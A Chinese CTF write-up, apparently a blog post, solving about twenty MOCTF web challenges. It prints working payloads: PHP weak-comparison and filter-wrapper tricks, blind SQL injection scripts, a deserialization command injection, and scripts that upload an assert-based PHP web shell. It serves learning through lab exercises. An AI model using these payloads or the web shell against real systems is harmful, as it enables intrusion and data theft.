zoukankan      html  css  js  c++  java
  • MOCTF-WEB-writeup

    MOCTF-WEB-writeup

    好菜,除了简单的几个题,自己会做,难的都是看老大WP完成的,太菜了

    啥姿势都不会,就此记录一下,供日后查看及反省。菜鸡的自我修养

    0x01 一道水题

    题目链接:http://119.23.73.3:5001/web1/

    直接F12了解一下,get flag:moctf{easy_source_code}

    0x02 还是水题

    题目链接:http://119.23.73.3:5001/web2/

    F12查看源码。

    修改之后,输入moctf提交就可以行了。get flag:moctf{break_the_html}

    0x03 访问限制

     题目链接:http://119.23.73.3:5001/web3/

    BP抓包,将代理的浏览器设置为NAIVE,重新发包。get flag:moctf{http_header_1s_easy}

    0x04 机器蛇

     题目链接:http://119.23.73.3:5001/web4/

    F12查看源码

    然后访问robots.txt

    最后访问图中的地址,即可获得Flag

    get flag:moctf{g0Od_r0bots_txt}

    0x05 PHP黑魔法

    题目链接:http://119.23.73.3:5001/web5/

    这题,输了index.php,看不到任何东西,也不会跳转到其他页面,题目给的提示也没说php~

    我太难了(自己太菜)

    根据大佬们之前做的,访问index.php~,查看源码

    <!DOCTYPE html>
    <!--html lang="zh-CN">
    <head>
        <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> 
    </head>
    <body>
    <?php
    
        $flag="moctf{**************}";
        
        if (isset($_GET['a'])&&isset($_GET['b'])) {
            $a=$_GET['a'];
            $b=$_GET['b'];
    
    
            if($a==$b) 
            {
                echo "<center>Wrong Answer!</center>";
            }
            else {
                if(md5($a)==md5($b)) 
                {
                    echo "<center>".$flag."</center>"; 
                    echo "By:daoyuan";
                }
                else echo "<center>Wrong Answer!</center>";
            }
            
        }
        else echo "<center>濂藉儚灏戜簡鐐逛粈涔�</center>"; 
    ?>
    </body>
    </html-->

    根据源码,知道需要GET传参的a和b不能相等,而且md5之后的a=b,从这    if(md5($a)==md5($b))  中的==可以知道,可以利用MD5特性来解决

    PHP在处理哈希字符串时,会利用”!=”或”==”来对哈希值进行比较,它把每一个以”0E”开头的哈希值都解释为0,所以如果两个不同的密码经过哈希以后

    其哈希值都是以”0E”开头的,那么PHP将会认为他们相同,都是0。

    可以用两种方法绕过

    1、直接将需要传参的值赋成如下就行了,md5之后是相等的:

    QNKCDZO
    240610708
    s878926199a
    s155964671a
    s214587387a
    s214587387a
    sha1(str)
    sha1('aaroZmOk')  
    sha1('aaK1STfY')
    sha1('aaO8zKZF')
    sha1('aa3OFF9m')
    //比如说URL传参为
    //http://119.23.73.3:5001/web5/index.php?a=240610708&b=QNKCDZO

    2、利用MD5不能处理数组的特性绕过也行

    //这里根据题意,a,b不相等,md5($a)==md5($b),如下传参也行,URL中的69,自己随意改,不相等就行

    http://119.23.73.3:5001/web5/index.php?a[]=6&b[]=9

    最后的flag为:moctf{PHP_1s_b4st_language}

    0x06 我想要钱

    题目链接:http://119.23.73.3:5001/web6/

    打开得到源码

    <?php
        include "flag.php";
        highlight_file(__FILE__);
    
        if (isset($_GET['money'])) {
            $money=$_GET['money'];
            if(strlen($money)<=4&&$money>time()&&!is_array($money))
            {
                echo $flag;
                echo "<!--By:daoyuan-->";
            }
            else echo "Wrong Answer!";
        }
        else echo "Wrong Answer!";
    ?>
    
    Wrong Answer!

    代码审计。想要获得Flag,需要满足三个条件:

    //money的长度小于4、money的值大于time、最后不能为数组

    if(strlen($money)<=4&&$money>time()&&!is_array($money))

    money使用科学计数就可以了,长度小,数值大。

    比如?money=3e9

    get flag:moctf{I_ne4d_much_m0ney}

    0x07 登录就对了

    题目链接:http://119.23.73.3:5002/index.php

    构造万能密码,直接就可以登录成功,登录成功之后,F12查看源码即可获得Flag,get flag:moctf{SQLi_Log_1n_4asy}

    这里讲的万能密码还不错:https://www.freebuf.com/column/150063.html

    0x08 文件包含

    题目链接:http://119.23.73.3:5001/web8/index.php?file=welcome.txt

    查看源码,发现有一个flag.php,根据题目文件包含,可以用php://filter伪协议来读取flag的内容

    payload: ?file=php://filter/read=convert.base64-encode/resource=flag.php

    关于php://filter伪协议的相关知识,这里说的不错   https://www.leavesongs.com/PENETRATION/php-filter-magic.html

    打开之后会得到一串字符,直接base64解码即可看到flag

    get flag:moctf{f1le_includ4_e5sy}

    0x09 暴跳老板

    题目链接:http://119.23.73.3:5006/web1/

    hint:老板暴跳如雷,骂道:你怎么又没有按照我的意愿发邮件?

    发啥都不管用,只会这样弹窗

    BP抓包试试

    根据题目提示,安装他说的发送,以及弹窗,应该用Dear的名义发送MyBoss过去

    get flag:moctf{00.oo_BBoo_0os}

    0x10 Flag在哪?

    题目链接:http://119.23.73.3:5001/web7/

    打开网页,有一个getflag的链接,点击去啥也没有,There is no flag!

    御剑扫一波,扫不到东西,BP打开,抓包试试。可以看到Response里面

    Location有新的链接地址,复制发包,最后又回到了最开始的位置,果然

    人不能忘了初心,如果人人都初心哥,是不是可以迎娶白富美了(嘤嘤嘤)

    想不到,看看表哥们的姿势。

    emmmmmmm    歌曲?PPAP Pen Pineapple Apple Pen

    好吧,将之前得到的组合一下flagfrog.php,访问,即可获得flag

    之前获得的

    /where_is_flag.php
    /flag.php
    /I_have_a_frog.php
    /I_have_a_flag.php
    /no_flag.php

    get flag:moctf{wh4re_1s_The_F149}

    0x11 美味的饼干

    题目链接:http://119.23.73.3:5001/web9/

    登录页面,直接使用admin登录就可以登录成功,密码都不需要。BP抓包看看

    而且题目为美味的饼干     emmmm  cookie?

    多次登录BP,发现这里的Cookie是一个定值

    %3D   是等号(=),base64解码一波

    发现里面的字符都是0-9,a-f,MD5解密,解密之后为user,前面用户输入的是admin,这里解密出来为user,那么将admin先进行md5加密,再base64加密,然后添加到cookie继续发包即可获得flag

     

    get flag:moctf{Co0kie_is_1nter4sting}

    0x12 没时间解释了

    题目链接:http://119.23.73.3:5006/web2/index2.php

    御剑扫描,发现新大陆。

    访问试试

    提交之后,得到一串字符:Flag is here,come on~ http://119.23.73.3:5006/web2/uploads/1338ecebb918f207a7de77008477d150d892c8d4/flag

    访问之后,Too Show,不管提交什么,他前面的地址都一样,但是访问的时候,又看不到,应该是提交之后,服务器再很短的时间又给删除了。

    所以,去访问的时候总是得不到想要的。本题考查的是条件竞争,直接利用BP里面的Intruder模块进行爆破,来获取

    需要进行两次抓包,同时发送包,来达到短时间获取

    先抓提交页面的包

    然后设置Payload,这里因为我们没有payload,所以选择Null payload,下面的continue indefinitely就是持续发送,一直请求设置完成之后,开始攻击(start attack)

    开始攻击之后,放在后台,让他持续发送。接下来继续抓第二个包。

    和上面一样的设置,然后发送攻击。

    get flag:moctf{y0u_n4ed_f4st}

    0x13 死亡退出

    题目链接:http://119.23.73.3:5003/

    代码审计

    <?php
      show_source(__FILE__);
      $c="<?php exit;?>";
      @$c.=$_POST['c'];
      @$filename=$_POST['file']; 
      if(!isset($filename))                    
      {                                       
        file_put_contents('tmp.php', ''); 
      }                                 
      @file_put_contents($filename, $c);
      include('tmp.php');
    ?>

    先看看代码

    首先先定义可一个变量c,里面为一个php代码,退出功能。

    接着是以post的方式获取变量c,这里 .= 表示他会和上面变量c的内容链接起来。

    除了post变量c,下面还post了file,那么就是需要同时传c和file来获取flag吧

    接下来是函数  file_put_contents:

    file_put_contents()函数把一个字符串写入文件中。
    
    该函数访问文件时,遵循以下规则:
    
    1.如果设置了FILE_USE_INCLUDE_PATH,那么将检查* filename *副本的内置路径
    2.如果文件不存在,将创建一个文件
    3.打开文件
    4.如果设置了LOCK_EX,那么将锁定文件
    5.如果设置了FILE_APPEND,那么将移至文件末尾。否则,将会清除文件的内容
    6.向文件中写入数据
    7.关闭文件并对所有文件解锁
    
    如果成功,该函数将返回写入文件中的字符数。如果失败,则返回错误。

    继续。。。。。。。。

    传参变量C的时候,执行的就是<?php exit;?>再连接输入的,而执行这个脚本,就直接退出了,就读取不到任何东西,所以需要绕过

    这里就需要用到php://filter伪协议流来进行绕过。使用base64解码的一个漏洞(不能解码<、?、空格、?、;、>等这几个字符),然后就只会解码phpexit,

    而base64解码是以4个为一组进行解码的,phpexit只有7个,所以需要添加一个字符构成八个字符,才能正常解码,这里随便一个字符就行,能解码的。

    然后再连接我们需要执行获取flag的命令,所以C的pyaload为:c=aPD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==(a后面的为<?php system('cat flag.php');?>base64加密之后的字符)

    然后就是利用php://filter伪协议了,file的payload为:file=php://filter/write=convert.base64-decode/resource=tmp.php

     最终的payload为:c=aPD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==&file=php://filter/write=convert.base64-decode/resource=tmp.php

    get flag:moctf{Base64_d0_n0t_g0_die}

    0x14 火眼金睛

     题目链接:http://119.23.73.3:5001/web10/

    打开之后

    python脚本为:

    import requests
    import re
    targeturl = "http://119.23.73.3:5001/web10/"
    r = requests.get(url=targeturl)
    res_tr = r"'100'>(.*?)</textarea>"
    flagtxt =  re.findall(res_tr,r.content)[0]
    re_moctf = r"moctf"
    moctf = re.findall(re_moctf,flagtxt)
    number = len(moctf)
    ans = {
        "answer":number
    }
    url2 = "http://119.23.73.3:5001/web10/work.php"
    s = requests.post(url=url2,data=ans,cookies=r.cookies)
    print s.content

     这位大哥写的不错,各位可以去看看:https://www.jianshu.com/p/4bf347959bd5

    get flag:moctf{Programming_1s_important_!!}

    0x15 unset

    题目链接:http://119.23.73.3:5101/

    直接给代码,代码审计:

    <?php
    highlight_file('index.php');
    function waf($a){
    foreach($a as $key => $value){
         //这里定义的waf函数,正则匹配flag,如果输入flag,将退出并输出 are you a hacker
    if(preg_match('/flag/i',$key)){ exit('are you a hacker'); } } } foreach(array('_POST', '_GET', '_COOKIE') as $__R) {
         //定义一个数组,然后放入变量__R中,接下来进行判断$$__R = $($__R) = $_POST(遍历的第一个)
         //然后开始遍历,首先$_POST,将post传参的值赋给$__v
         //如果$$__k存在,并且$$__k == $__v的话,那么就销毁掉$$__k
    if($$__R) { foreach($$__R as $__k => $__v) { if(isset($$__k) && $$__k == $__v) unset($$__k); } } }
    //根据提交参数的方式,进行相应的waf函数
    if($_POST) { waf($_POST);} if($_GET) { waf($_GET); } if($_COOKIE) { waf($_COOKIE);}
    //检查POST参数每个键名是否合法是否有冲突EXTR_SKIP - 如果有冲突,不覆盖已有的变量。
    if($_POST) extract($_POST, EXTR_SKIP); if($_GET) extract($_GET, EXTR_SKIP); if(isset($_GET['flag'])){ if($_GET['flag'] === $_GET['daiker']){ exit('error'); } if(md5($_GET['flag'] ) == md5($_GET['daiker'])){ include($_GET['file']); } } ?>

    分析(看了很多大佬的WP,自己也记录下,方便以后观看):

    漏洞源地址:http://www.secevery.com:4321/bugs/wooyun-2014-063895

    关键点在于:

    foreach(array('_POST', '_GET', '_COOKIE') as $__R) {
            if($$__R) { 
            foreach($$__R as $__k => $__v) { 
                if(isset($$__k) && $$__k == $__v) unset($$__k); 
            }
         }
    
    }
    if($_POST) extract($_POST, EXTR_SKIP);
    if($_GET) extract($_GET, EXTR_SKIP);

    算了,以后理解透了,再回来写,没理解 ,写不下去,太菜了???

    还是先用大佬的WP记录下,方便以后观看

    源地址:https://www.jianshu.com/p/4bf347959bd5

    代码执行第一阶段:

    这个漏洞的实现需要post和get同时使用
    以post提交内容:如果我们向url:1.php?x=1提交一个POST请求 内容为 _GET[x]=1
    在url中提交内容:因为在uril:中?x=1 使 $_GET 内容为 array('x'=>'1')
    当开始遍历_POST的时候$__R=_POST
    $$__R=$($_R)=$_POST(也就是我们post提交的内容_GET[x]=1)
    继续遍历$_POST==(_GET[x]=1)得到$k(也就是_GET) => $__v=array('x'=>'1')
    继续判断$$__k=$($__k)=$_GET=array('x'=>'1')
    此时此刻$$__k == $__v成立所以 我们的超全局变量 $_GET就会被unset(销毁)了

     代码执行第二阶段:

    此时将会对$_POST、$_GET、$_COOKIE,由于我们在上一步已经将$_GET请求unset掉了,所以在这里是检查不到我们的$_GET请求的。

    if($_POST) { waf($_POST);}
    if($_GET) { waf($_GET); }    
    if($_COOKIE) { waf($_COOKIE);}  
    
    function waf($a){ 
    foreach($a as $key => $value){ 
            if(preg_match('/flag/i',$key)){  
            exit('are you a hacker');
    }}}

    代码执行第三阶段:

    检查POST参数每个键名是否合法是否有冲突,将会正常初始化$_GET。
    EXTR_SKIP - 如果有冲突,不覆盖已有的变量,将会使用原来$_GET的值。

    if($_POST) extract($_POST, EXTR_SKIP); 
    if($_GET) extract($_GET, EXTR_SKIP);

    代码执行第四阶段:

    简单的MD5弱类型绕过就行

    if(isset($_GET['flag'])){
    if($_GET['flag'] === $_GET['daiker']){
            exit('error');
    }
    if(md5($_GET['flag'] ) == md5($_GET['daiker'])){
            include($_GET['file']); 
    }
    }

    最后构造payload:

    利用google   hackbar进行构造,不知道为什么我的火狐安不上了。

    关于如何再Google上安装hackbar,可以看这里:https://mp.weixin.qq.com/s/8nxHxJRr3U52xbfhpirxmA

    最后base64解码即可,get flag:moctf{e2181b5o14a67159cc23oc8feod6c5b6}

    0x16 PUBG

    题目链接:http://120.78.57.208:6001/?LandIn=school

    在这里可以获取源码

    <html>
    <title>MOCTF吃鸡大赛</title>
    <style type="text/css"> 
    a{ 
        text-decoration:none;
        color:white;
    } 
    body
    {
        background:url('image/PUBG.jpg');
        background-attachment:fixed;
        background-repeat:no-repeat;
        background-size:cover;
        -moz-background-size:cover;
        -webkit-background-size:cover;
    }
    center
    {
        color:white;
    }
    </style>
    <body>
    <center>
    <p>你现在正在飞机上,请选择要跳的地方</p></br>
    <p><a href="?LandIn=airport">机场</a></p>
    <p><a href="?LandIn=school">学校</a></p>
    <p><a href="?LandIn=field">打野</a></p>
    <p><a href="?LandIn=AFK">上个厕所</a></p>
    </center>
    </body>
    </html>
    <?php
        error_reporting(0);
        include 'class.php';
        if(is_array($_GET)&&count($_GET)>0)
        {
            if(isset($_GET["LandIn"]))
            {
                $pos=$_GET["LandIn"];
            }
            if($pos==="airport")
            {
                die("<center>机场大仙太多,你被打死了~</center>");
            }
            elseif($pos==="school")
            {
                echo('</br><center><a href="/index.html"  style="color:white">叫我校霸~~</a></center>');
                $pubg=$_GET['pubg'];
                $p = unserialize($pubg);
                // $p->Get_air_drops($p->weapon,$p->bag);
            }
            elseif($pos==="AFK")
            {
                die("<center>由于你长时间没动,掉到海里淹死了~</center");
            }
            else
            {
                die("<center>You Lose</center>");
                
            }
        }
    ?>

    可以看到,在上面引用了class.php,同样的道理,获取一波源码,class.php.bak

    再下面,有用的信息有,需要$pos===school,并且URL传参pubg,且需要反序列化,到此结束。

    再看class.php的内容:

    <?php
        include 'waf.php';
        class sheldon{
            public $bag="nothing";
            public $weapon="M24";
            // public function __toString(){
            //     $this->str="You got the airdrop";
            //     return $this->str;
            // }
            public function __wakeup()
            {
                $this->bag="nothing";
                $this->weapon="kar98K";
            }
            public function Get_air_drops($b)
            {
                    $this->$b();
            }
            public function __call($method,$parameters)
            {
                $file = explode(".",$method);
                echo $file[0];
                if(file_exists(".//class$file[0].php"))
                {
                    system("php  .//class//$method.php");
                }
                else
                {
                    system("php  .//class//win.php");
                }
                die();
            }
            public function nothing()
            {
                die("<center>You lose</center>");
            }
            public function __destruct()
            {
                waf($this->bag);
                if($this->weapon==='AWM')
                {
                    $this->Get_air_drops($this->bag);
                }
                else
                {
                    die('<center>The Air Drop is empty,you lose~</center>');
                }
            }
        }
    ?>

    这里又引用了waf.php,可惜不能得到源码

    这里,他定义了一个sheldon类,从index.php来看,序列化应该是需要构造这个对象了

    (大佬博客  http://she1don.cn/  好像是他出的题)

    在这个类里面,又两个成员变量,和5个成员函数

    先来看第一个函数,__wakeup魔法函数,__wakeup()函数在其所在对象反序列化的时候自动调用。一旦调用之后,成员变量就会变成bag=nothing,weapon=kar98k

    (这里需要绕过,当成员属性数目大于实际数目时可绕过wakeup方法)

    再来看第二个函数:Get_air_drops($b)

      这个函数就是传入b这个变量,然后执行b()这个函数

    第三个函数:__call($method,$parameters)

    __call函数是用于监视错误的方法调用的,也就是说如果,我们调用了不在sheldon类里面的函数,这个函数就会执行,这里是可控的地方,解题的关键。

    在函数里面,需要(file_exists(".//class$file[0].php"))这个成立,才有机会执行systen系统命令,才有机会获取flag

    所以为了满足if条件,我们可以将method赋值为“//win.php**********************”而file[0]在经过 $file = explode(".",$method);函数后变为  //win  也就是说为 .//class//win.php(而这个文file肯定是存在的,也就绕过了if)。而为了得到我们需要的flag,我们就要在上面写的******中放入命令来执行bash。

    最后一个函数:__destruct(),为析构函数,他在对象内容执行结束后会调用析构函数,也就是说必然会执行这个函数,这里也需要操作,这里只有weapon==AWM的时候,才会执行之前的Get_air_drops($b)函数,而这里他把b变量变成了bag,也就是说,在Get_air_drops($bag),会执行bag()函数,这不是sheldon类里面的,这样就会调用__call函数。

    最后理一下,在这个脚本中,肯定会执行析构函数,然后,让$b变成不是sheldon类里面的函数,从而调用__call,因为在脚本中,存在检测反序列化的魔法函数__weakup(),这里需要先绕过,这样才能使得不让初始的成员变量的值变成__weakup里面的值,导致无法调用Get_air_drops($b)函数。绕过之后,就可以来执行__call函数了,就可以构造我们的命令,来获取flag。

    所以最后的payload为:&pubg=O:7:"sheldon":3:{s:3:"bag";s:27:"//win.php| cat ./class/flag";s:6:"weapon";s:3:"AWM";}

    在payload里面有一个管道符 |  ,在它之后的命令也会执行,所以能打印出来flag,而不是或。

    URL为:http://120.78.57.208:6001/?LandIn=school&pubg=O:7:%22sheldon%22:3:{s:3:%22bag%22;s:27:%22//win.php|%20cat%20./class/flag%22;s:6:%22weapon%22;s:3:%22AWM%22;}

    提交之后,在源码里面就可以看到flag了

    get flag:moctf{Try_Learn_PhP_h4rder_wow}

    0x17 网站监测

    这个不知道是不是挂了

    0x18 Code Revolution

    题目链接:http://www.laohulaohuhu.cn:32771/

    直接登录

    登录进去之后是,phpinfo()的界面

    搜索disable_functions看看他禁用了什么函数

    查看他的robots.txt发现

    if (preg_match("/sess_|php(w)+/is", $_GET['page']) || $_GET['page'] === 'index.php') {
        $_GET['page'] = "login.php";
    }else if (preg_match("/filter(.+)resource/is", $_GET['page'])) {
        $test = substr(file($_GET['page'])[0], 0, 5);
        if (preg_match("/filter(.+..+)resource/is", $_GET['page']) 
        || $test === "x7fx45x4cx46x02" 
        || $test === "x83x96xb8xbcxeb") {
            $_GET['page'] = "login.php";
        }
    }

    正则匹配$_GET提交的page,是不是不能使用php://filter伪协议来执行?

    未解之题,日后再说......

    0x19 简单注入

    题目链接:http://119.23.73.3:5004/

    打开之后,F12查看,发现注入点,id=1

    然后输入id=1、2,3,分别得到:

    Welcome to MOCTF!
    Flag is in the database!
    The table name length is greater than 20!

    表名很长。

    开始注入:

    输入?id=1' and 1=1

    WHAT A FUCK!

    emmmmm

    小菜鸡注入姿势少,所以又去看看大佬WP了

    搬运一下,学习

    第一步:

    判断是否使用了trim()函数,该函数用于移除字符左右两边的空格。
    在URL上输入?id=1 (id后面有空格)回显正常
    再输入?id=1 1 ,这里页面返回的是空白,也就是说变成了id=11,
    从前面我们测试知道,只有id=1,2,3的时候会有数据,如果没有过滤空格的话,应该会显示数据
    所以确定空格被过滤了。

    能够代替空格的字符有(拿小本本记下)只有()没有被过滤,所以可以用()代替空格,进行构造。

    %20 空格
    %09 制表符
    %0a 换行
    %0b 
    %0c 
    %0d 回车
    %a0 
    %00 æ
    /**/ 
    ()

    第二步:

    判断后端的SQL查询语句,匹配的时候用的整型还是字符型

    关于判断是整型还是字符型注入,这里讲的不错:https://www.cnblogs.com/xyhacker/p/10022858.html

    这里因为输入?id=1正常,加上单引号之后,回显的是空白也,并没有出现waf,所以判断为字符型注入,并且吗,没有被过滤。

    第三步:

    尝试使用注释符闭合
    尝试id=1'# 注释掉后面的单引号完成闭合。
    以下注释中有些被过滤了 有些没有,但是使用注释后页面无法正常显示,没有成功。

    //, -- , /**/, #, --+, -- -, ;%00

    尝试id=1' and '1'='1 进行闭合
    因为空格用()替换,'为%27,所以构造如下
    id=1%27and(%271%27)=%271
    运行后页面显示正常,验证成功

    第四步:判断可用字符

    利用相同方法带入发现union联合注入、or、<、>都不可用。
    可以使用and、select查询字符。

    第五步:逻辑判断

    逻辑判断
    带入id=1'and'1'='1成立
    这里用数据库长度进行举例
    id=1'and length(database()) ='1
    构造后如下,经判断当前数据库名长度为5成立。
    1'and(length(database()))='5

    最后附上大佬的脚本:

    import string
    import requests
    chars = '!@$%^&*()_+=-|}{ :?><[];,./`~'
    string = string.ascii_letters+string.digits+chars
    rs = requests.session()
    flag = ""
    # 正确payload
    # payload = "http://119.23.73.3:5004/?id=2'^(ascii(mid((select(group_concat(schema_name))from(information_schema.schemata)),{0},1))={1})^'1"
    # payload = "http://119.23.73.3:5004/?id=2'^(ascii(mid((select(group_concat(table_name))from(information_schema.tables)where(table_schema)=database()),{0},1))={1})^'1"
    # payload = "http://119.23.73.3:5004/?id=2'^(ascii(mid((select(group_concat(column_name))from(information_schema.columns)where(table_schema)=database()),{0},1))={1})^'1"
    payload = "http://119.23.73.3:5004/?id=2'^(ascii(mid((select(d0_you_als0_l1ke_very_long_column_name)from(do_y0u_l1ke_long_t4ble_name)),{0},1))={1})^'1"
    //在and禁用的时候可以使用^进行异或判断。
    
    for i in range(0, 500):
    
        # for j in string:
        for j in range(33, 127):
            url = payload.format(str(i), str(j))
            s = rs.get(url)
            # print url
            if 'Flag' in s.text:
                flag = flag + chr(j)
                print flag

    太棒了,学到了很多

    get flag:moctf{b1ind_SQL_1njecti0n_g0od}

    0x20 简单审计

    题目链接:http://120.78.57.208:6005/

    <?php
    error_reporting(0);
    include('config.php');
    header("Content-type:text/html;charset=utf-8");
    //生成六位a-z的随机数 function get_rand_code($l
    = 6) { $result = ''; while($l--) { $result .= chr(rand(ord('a'), ord('z'))); } return $result; } function test_rand_code() { $ip=$_SERVER['REMOTE_ADDR']; $code=get_rand_code(); $socket = @socket_create(AF_INET, SOCK_STREAM, SOL_TCP); @socket_connect($socket, $ip, 8888); @socket_write($socket, $code.PHP_EOL); @socket_close($socket); die('test ok!'); } //对上传文件的设置 function upload($filename, $content,$savepath) {
       //白名单 $AllowedExt
    = array('bmp','gif','jpeg','jpg','png'); if(!is_array($filename)) { $filename = explode('.', $filename);
       //上传的这些文件,以.作为分隔符,形成数组,比如说上传的为tx.jpg,那么形成的数组就是:array('0'=>'tx','1'=>'jpg') }
      //strtolower(),把所有字符转换为小写,判断数组最后一个的格式,是否是白名单里的。这里没有对数组进行处理。
    if(!in_array(strtolower($filename[count($filename)-1]),$AllowedExt)){ die('error ext!'); }
    $code
    =get_rand_code();
       //最终的上传文件名格式 上传的文件名($filename[0])+ moctf + 六位随机数 + 数组最后一位。 $finalname
    =$filename[0].'moctf'.$code.".".end($filename); waf2($finalname);
    //把POST请求的有数据写到带有路径的文件中 file_put_contents(
    "$savepath".$finalname, $content);
    //延迟 usleep(
    3000000);
    //把moctf写到带有路径的文件中 file_put_contents(
    "$savepath".$finalname, "moctf"); unlink("$savepath".$finalname);//删除带有路径的文件 die('upload over!'); } $savepath="uploads/".sha1($_SERVER['REMOTE_ADDR'])."/";//路径为: upload/访客IP的哈希值/ if(!is_dir($savepath)){ $oldmask = umask(0);//设置权限为777 mkdir($savepath, 0777);//创建目录 umask($oldmask);//关闭权限 } if(isset($_GET['action'])) { $act=$_GET['action']; if($act==='upload')//GET传参参数如果为upload { $filename=$_POST['filename'];//POST传参参数为filename if(!is_array($filename)) { $filename = explode('.', $filename);
          //如果filename不是数组的话,就以 . 作为分隔符,形成数组 } $content
    =$_POST['content']; waf($content); upload($filename,$content,$savepath); } else if($act==='test') { test_rand_code(); } } else { highlight_file('index.php'); } ?>

    上面大体上就是对代码的一些理解。

    这里看的是这个大哥的非预期的解,大哥博客:https://skysec.top/

    首先构造数组绕过

    if(!in_array(strtolower($filename[count($filename)-1]),$AllowedExt)){
           die('error ext!');
       }

    这里的    $filename[count($filename)-1   不一定是最后一个,所以可以这样构造

    $filename= array('0'=> '1','2'=>'jpg','3'=>'php');

    这样3-1=2 ,filename[2] = jpg,在白名单里面,就可以绕过白名单了

    上传的文件名就为:1moctf.$code.php

    具体解题步骤可转到这位大师傅:https://skysec.top/2018/02/13/happymoctf%E4%B9%8Bweb%E5%85%A8%E9%A2%98%E8%A7%A3/#%E7%AE%80%E5%8D%95%E5%AE%A1%E8%AE%A1

    官方WP:

    两个脚本:

    listen.py

     1 #监听8888端口,接受6个`get_rand_code`的结果,然后预测接下来一次`get_rand_code`的结果,这里可能不会很准确,
     2 #所以需要小幅度爆破,复杂度大概为3^6,反正就跑着呗
     3 #!/usr/bin/env python
     4 #-*- coding:utf-8 -*-
     5 #by xishir
     6 import requests as req
     7 import re
     8 from socket import *  
     9 from time import ctime  
    10 import random
    11 import itertools as its
    12 import hashlib
    13 r=req.session()
    14 url="http://120.78.57.208:6005/"
    15 def get_rand_list():
    16     HOST = ''  
    17     PORT = 8888
    18     BUFSIZ = 128  
    19     ADDR = (HOST, PORT)  
    20     tcpSerSock = socket(AF_INET, SOCK_STREAM)
    21     tcpSerSock.bind(ADDR)
    22     tcpSerSock.listen(5)
    23     rand_num=0
    24     l=[]
    25     while True:
    26         tcpCliSock, addr = tcpSerSock.accept()  
    27         while True:  
    28             data = tcpCliSock.recv(BUFSIZ)  
    29             if not data:  
    30                 break  
    31             data=data[0:6]
    32         print data,l
    33             for i in data:
    34                 l.append(ord(i)+1-ord('a'))
    35         rand_num+=1
    36           if rand_num==6:
    37               break
    38     tcpCliSock.close()  
    39     tcpSerSock.close()
    40     return l
    41 def get_salt(l):
    42     salt=""
    43     for i in range(6):
    44         j=len(l)
    45         r=(l[j-3]+l[j-31])-1
    46         if r>26:
    47             r-=26
    48         #print l[j-3],chr(l[j-3]+ord('a')-1),l[j-31],chr(l[j-31]+ord('a')-1),r,chr(r+ord('a')-1)
    49         l.append(r)
    50         salt+=chr(r+ord('a')-1)
    51         #print salt
    52     return salt
    53 def get_flag(salt):
    54     s=hashlib.sha1('119.23.73.3').hexdigest()
    55     url1=url+'/uploads/'+s+'/'+'moctf'+salt+'.php'
    56     data={"a":"system('cat ../../flag.php');echo '666666';"}
    57     r2=r.post(url1,data=data)
    58     print salt
    59     if '404' not in r2.text:
    60         print r2.text
    61 get_flag('aaaaaa')
    62 l=get_rand_list()
    63 salt=get_salt(l)
    64 s=0
    65 for i in range(100000):
    66     s=s+1
    67 print s
    68 words = "10"
    69 o=its.product(words,repeat=6)
    70 for i in o:
    71     s="".join(i)
    72     salt2=""
    73     for j in range(6):
    74         salt2+=chr(ord(salt[j])-int(s[j]))
    75     get_flag(salt2)
    76 words = "10"
    77 o=its.product(words,repeat=6)
    78 for i in o:
    79     s="".join(i)
    80     salt2=""
    81     for j in range(6):
    82         salt2+=chr(ord(salt[j])+int(s[j]))
    83     get_flag(salt2)

    put.py

     1 #通过`?action=test`调用`test_rand_code`函数发送6次`get_rand_code`结果,一共36个字符,
     2 #然后提交一个构造好的`?action=test`,上传shell到服务器,在被删除之前就会被listen爆破得到,没爆破到就多爆破几次
     3 #!/usr/bin/env python
     4 #-*- coding:utf-8 -*-
     5 #by xishir
     6 import requests as req
     7 import re
     8 r=req.session()
     9 url="http://120.78.57.208:6005/?action="
    10 def get_test():
    11     url2=url+"test"
    12     r1=r.get(url2)
    13     print url2
    14     print r1.text
    15 def upload():
    16     data={"filename[4]":"jpg",
    17           "filename[2]":"jpg",
    18           "filename[1]":"php",
    19           "content":"<script language='php'>assert($_POST[a]);</script>",
    20           "a":"system('cat ../../flag.php');"
    21           }
    22     url1=url+"upload"
    23     r2=r.post(url1,data=data)
    24     print r2.text
    25 for i in range(6):
    26     get_test()
    27 upload()

    0x21 EasySQL

     题目链接:http://www.laohulaohuhu.cn:32770/

  • 相关阅读:
    使用MobaXterm远程连接Ubuntu,启动Octave,界面不能正常显示
    ABP .Net Core 日志组件集成使用NLog
    ABP .Net Core Entity Framework迁移使用MySql数据库
    ABP前端使用阿里云angular2 UI框架NG-ZORRO分享
    阿里云 Angular 2 UI框架 NG-ZORRO介绍
    Visual Studio 2019 Window Form 本地打包发布猫腻
    VS Code + NWJS(Node-Webkit)0.14.7 + SQLite3 + Angular6 构建跨平台桌面应用
    ABP .Net Core 调用异步方法抛异常A second operation started on this context before a previous asynchronous operation completed
    ABP .Net Core To Json序列化配置
    .Net EF Core数据库使用SQL server 2008 R2分页报错How to avoid the “Incorrect syntax near 'OFFSET'. Invalid usage of the option NEXT in the FETCH statement.”
  • 原文地址:https://www.cnblogs.com/mortals-tx/p/11280004.html
Copyright © 2011-2022 走看看